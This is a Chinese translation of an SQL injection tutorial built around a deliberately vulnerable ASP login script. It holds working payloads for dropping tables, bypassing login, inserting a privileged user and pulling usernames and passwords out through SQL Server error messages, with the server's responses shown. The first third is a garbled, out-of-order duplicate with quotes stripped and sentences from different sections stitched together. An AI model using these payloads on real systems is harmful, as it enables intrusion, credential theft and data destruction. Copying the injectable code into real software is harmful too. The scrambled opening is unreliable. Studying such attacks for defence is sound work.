font-size=20pt ! important} font { font-size=20pt ! important} h1 {
font-size=64pt ! important} </STYLE <%@LANGUAGE = JScript % <%
function trace( str ) { if( Request.form(debug) == true )
Response.write( str ); } function Login( cn ) { var username; var
password; username = Request.form(username); password =
Request.form(password); var rso = Server.CreateObject(ADODB.Recordset);
var sql = select * from users where username = + username + and
password = + password + ; trace( query: + sql ); rso.open( sql, cn ); if
(rso.EOF) { rso.close(); % <FONT Face=tahoma color=cc0000 <H1 <BR<BR
<CENTERACCESS DENIED</CENTER </H1 </BODY </HTML <% Response.end
return; } else { Session(username) = + rso(username); % <FONT
Face=tahoma color=00cc00 <H1 <CENTERACCESS GRANTED<BR <BR Welcome,
<% Response.write(rso(Username)); Response.write( </BODY</HTML );
Response.end } } function Main() { //Set up connection var username var
cn = Server.createobject( ADODB.Connection ); cn.connectiontimeout = 20;
cn.open( localserver, sa, password ); username = new String(
Request.form(username) ); if( username.length 0) { Login( cn ); }
cn.close(); } Main(); %

Select
id,forename,surname from authors

出现问题的地方是process_lgin.asp中产生查询语句的部分: Var sql=select
* from users where username=+username+ and password=+password+;
如果用户输入的信息如下: Username:;drop table users― Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。―符号在Transact-SQL中表示忽略―以后的语句,;符号表示一个查询的结束和另一个查询的开始。―位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

  这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin― 攻击者可以使用users表中第一个用户,输入如下:
Username: or 1=1―
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下: Username: union
select 1,fictional_user,some_password,1―
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

Select
id,forename,surname from authors where forename’john’ and
surname=’smith’

通过错误消息获得信息 这个几乎是David
Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

  需要着重指明的是字符串’john’和’smith’被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,如下:

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users( Id int, Username varchar(255), Password
varchar(255), Privs int ) 然后将下面的用户插入到users表中: Insert into
users values(0,admin,r00tr0x!,0xffff) Insert into users
values(0,guest,guest,0x0000) Insert into users
values(0,chris,password,0x00ff) Insert into users
values(0,fred,sesame,0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个1,这样只给他自己一个低权限的用户。
幸运地,如果从应用程序返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username: having 1=1― 这样将会出现如下错误: Microsoft OLE DB Provider
for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server
Driver][SQL Server]Column users.id is invalid in the select list
because it is not contained in an aggregate function and there is no
GROUP BY clause. /process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group
by子句只能感去找到一个一个字段名,如下: Username: group by users.id
having 1=1― 出现的错误如下: Microsoft OLE DB Provider for ODBC Drivers
error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL
Server]Column users.username is invalid in the select list because it
is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35 最终攻击者得到了username字段后: ‘ group by
users.id,users.username,users.password,users.privs having 1=1―
这句话并不产生错误,相当于: select * from users where username=
因此攻击者现在知道查询涉及users表,按顺序使用列id,username,password,privs。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username: union select sum(username) from users―
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07

Forename:jo’hn
Surname:smith

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们username字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username: union select sum(id) from users― Microsoft OLE DB Provider
for ODBC Drivers error 80040e14

  查询语句变为:

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an
SQL statement containing a UNION operator must have an equal number of
expressions in their target lists. /process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如: Username:;insert into
users values(666,attacker,foobar,0xffff)―
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages 解释这些将实现有趣的消息。

Select
id,forename,surname from authors where forename=’jo’hn’ and
surname=’smith’

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username: union select version,1,1,1― Microsoft OLE DB Provider for
ODBC Drivers error 80040e07

  当数据库试图去执行这个查询时,它将返回如下错误:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value Microsoft SQL Server 2000 – 8.00.194
(Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft
Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service
Pack 2) to a column of data type int. /process_login.asp, line 35
这句尝试去将内置的version常量转化成一个整型数字,因为users表中的第一列是整型数字。

Server:Msg 170, Level 15, State
1, Line 1
Line 1:Incorrect syntax near ‘hn’

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username: union select min(username),1,1,1 from users where usernamea―
这句选择users表中username大于a中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07

  造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行’hn’,但是失败。如果攻击者提供特别的输入如:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value admin to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
123全文阅读

Forename:jo’;drop table
authors—

Surname:

  结果是authors表被删除,造成这种结果的原因我们稍后再讲。

  看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

Select
id,forename,surname from authors where id=1234

  在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用’#’限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

  我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。

  这是一个提交表单页的代码,让用户输入用户名和密码:

<HTML>
<HEAD>
<TITLE>Login
Page</TITLE>
</HEAD>

<BODY bgcolor=’000000′ text=’cccccc’>
 <FONT Face=’tahoma’
color=’cccccc’>
  <CENTER><H1>Login</H1>
  <FORM action=’process_loginasp’
method=post>
   <TABLE>
    <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100
width=100></TD></TR>
    <TR>
     <TD>Password:</TD><TD><INPUT type=password
name=password size=100 withd=100></TD>
    </TR>
   </TABLE>
   <INPUT type=submit
value=’Submit’><INPUT type=reset
value=’Reset’>

  </FORM>
 </Font>
</BODY>
</HTML>

  下面是process_login.asp的代码,它是用来控制登陆的:

<HTML>
<BODY bgcolor=’000000′
text=’ffffff’>
<FONT Face=’tahoma’
color=’ffffff’>
<STYLE>
 p { font-size=20pt ! important}
 font { font-size=20pt ! important}
 h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
 function trace( str ) {
  if( Request.form(“debug”) == “true” )
   Response.write( str );
 }
 function Login( cn ) {
  var username;
  var password;
  username = Request.form(“username”);
  password = Request.form(“password”);
  var rso =
Server.CreateObject(“ADODB.Recordset”);
  var sql = “select * from users where
username = ‘” + username + “‘ and password = ‘” + password + “‘”; trace(
“query: ” + sql );
  rso.open( sql, cn );

  if (rso.EOF) {
   rso.close();
%>
<FONT Face=’tahoma’
color=’cc0000’>
<H1> <BR><BR>
<CENTER>ACCESS
DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
 Session(“username”) = “” +
rso(“username”);
%>
<FONT Face=’tahoma’
color=’00cc00’>
<H1> <CENTER>ACCESS
GRANTED<BR> <BR>
Welcome, <% Response.write(rso(“Username”));
Response.write( “</BODY></HTML>” ); Response.end }
}
function Main() {
 //Set up connection
 var username
 var cn = Server.createobject(
“ADODB.Connection” );
 cn.connectiontimeout = 20;
 cn.open( “localserver”, “sa”, “password”
);
 username = new String(
Request.form(“username”) );
 if( username.length > 0) {
  Login( cn );
 }
 cn.close();
}
Main();

%>


  出现问题的地方是process_lgin.asp中产生查询语句的部分:

Var
sql=”select * from users where username='”+username+”‘ and
password='”+password+”‘”;

  如果用户输入的信息如下:

Username:’;drop table users—
Password:

  数据库中表users将被删除,拒绝任何用户进入应用程序。’—’符号在Transact-SQL中表示忽略’—’以后的语句,’;’符号表示一个查询的结束和另一个查询的开始。’—’位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

  攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

Username:admin’—

  攻击者可以使用users表中第一个用户,输入如下:

Username:’ or 1=1—

  更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

Username:’ union select
1,’fictional_user’,’some_password’,1—

  这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

 

  通过错误消息获得信息

  这个几乎是David
Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

  为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:

Create
talbe users(
Id int,
Username varchar(255),

Password
varchar(255),
Privs int
)

  然后将下面的用户插入到users表中:

Insert
into users values(0,’admin’,’r00tr0x!’,0xffff)
Insert into users values(0,’guest’,’guest’,0x0000)
Insert into users values(0,’chris’,’password’,0x00ff)
Insert into users values(0,’fred’,’sesame’,0x00ff)

  如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个’1’,这样只给他自己一个低权限的用户。

  幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。

  (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

  首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

Username:’ having 1=1—

  这样将会出现如下错误:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.id’
is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

  因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

Username:’ group by users.id having 1=1—

  出现的错误如下:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’

Microsoft][ODBC
SQL Server Driver][SQL Server]Column ‘users.username’ is invalid in
the select list because it is not contained in either an aggregate
function or the GROUP BY clause.
/process_login.asp, line 35

  最终攻击者得到了username字段后:

‘ group by
users.id,users.username,users.password,users.privs having
1=1—

  这句话并不产生错误,相当于:

select
* from users where username=”

  因此攻击者现在知道查询涉及users表,按顺序使用列’id,username,password,privs’。能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

Username:’ union select sum(username) from users—

  这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC
SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument.
/process_login.asp, line 35

  这告诉了我们’username’字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

Username:’ union select sum(id) from users—

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC
SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in
their target lists.
/process_login.asp, line 35

  我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

  这样攻击者就可以写一个好的insert查询,例如:

Username:’;insert into users
values(666,’attacker’,’foobar’,’0xffff)—

  这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

select
* from master ..sysmessages

  解释这些将实现有趣的消息。

  一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

Username:’ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value ‘Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000
00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of
data type int.

/process_login.asp,
line 35

  这句尝试去将内置的’@@version’常量转化成一个整型数字,因为users表中的第一列是整型数字。

  这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:’ union select min(username),1,1,1 from users where
username>’a’—

  这句选择users表中username大于’a’中的最小值,并试图把它转化成一个整型数字:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘admin’ to a column of data type int.
/process_login.asp, line 35

  因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

Username:’ union select min(username),1,1,1 from users where
username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘chris’ to a column of data type int.
/process_login.asp, line 35

  一旦攻击者确定了用户名,他就可以开始收集密码:

Username:’ union select password,1,1,1 from users where
username=’admin’—

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

Author

发表评论

电子邮件地址不会被公开。 必填项已用*标注